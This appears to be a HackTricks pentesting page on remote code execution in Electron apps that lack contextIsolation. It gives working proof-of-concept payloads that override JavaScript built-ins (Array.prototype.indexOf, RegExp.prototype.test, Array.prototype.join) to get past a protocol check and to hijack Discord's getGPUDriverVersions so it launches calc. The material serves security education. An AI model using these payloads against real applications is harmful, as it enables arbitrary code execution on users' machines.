117 lines
6.3 KiB
Markdown
117 lines
6.3 KiB
Markdown
# Electron contextIsolation RCE via preload code
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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## Example 1
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Example from [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=30)
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This code open http(s) links with default browser:
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 (1) (1).png>)
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Something like `file:///C:/Windows/systemd32/calc.exe` could be used to execute a calc, the `SAFE_PROTOCOLS.indexOf` is preventing it.
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Therefore, an attacker could inject this JS code via the XSS or arbitrary page navigation:
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```html
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<script>
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Array.prototype.indexOf = function(){
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return 1337;
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}
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</script>
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```
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As the call to `SAFE_PROTOCOLS.indexOf` will return 1337 always, the attacker can bypass the protection and execute the calc. Final exploit:
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```html
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<script>
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Array.prototype.indexOf = function(){
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return 1337;
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}
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</script>
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<a href="file:///C:/Windows/systemd32/calc.exe">CLICK</a>
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```
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Check the original slides for other ways to execute programs without having a prompt asking for permissions.
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Apparently another way to load and execute code is to access something like `file://127.0.0.1/electron/rce.jar`
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## Example 2: Discord App RCE
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Example from [https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1](https://mksben.l0.cm/2020/10/discord-desktop-rce.html?m=1)
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When checking the preload scripts, I found that Discord exposes the function, which allows some allowed modules to be called via `DiscordNative.nativeModules.requireModule('MODULE-NAME')`, into the web page.\
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Here, I couldn't use modules that can be used for RCE directly, such as _child\_process_ module, but I **found a code where RCE can be achieved by overriding the JavaScript built-in methods** and interfering with the execution of the exposed module.
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The following is the PoC. I was able to confirm that the **calc** application is **popped** up when I c**all the `getGPUDriverVersions` function** which is defined in the module called "_discord\_utils_" from devTools, while **overriding the `RegExp.prototype.test` and `Array.prototype.join`**.
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```javascript
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RegExp.prototype.test=function(){
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return false;
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}
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Array.prototype.join=function(){
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return "calc";
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}
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DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions();
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```
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The `getGPUDriverVersions` function tries to execute the program by using the "_execa_" library, like the following:
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```javascript
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module.exports.getGPUDriverVersions = async () => {
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if (process.platform !== 'win32') {
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return {};
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}
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const result = {};
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const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`;
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try {
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result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, []));
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} catch (e) {
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result.nvidia = {error: e.toString()};
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}
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return result;
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};
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```
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Usually the _execa_ tries to execute "_nvidia-smi.exe_", which is specified in the `nvidiaSmiPath` variable, however, due to the overridden `RegExp.prototype.test` and `Array.prototype.join`, **the argument is replaced to "**_**calc**_**" in the \_execa**\_**'s internal processing**.
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Specifically, the argument is replaced by changing the following two parts.
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[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36)
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[https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55](https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55)
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<details>
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<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>
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|
|
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- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
|
|
- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
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|
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- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
|
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- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**
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- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
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</details>
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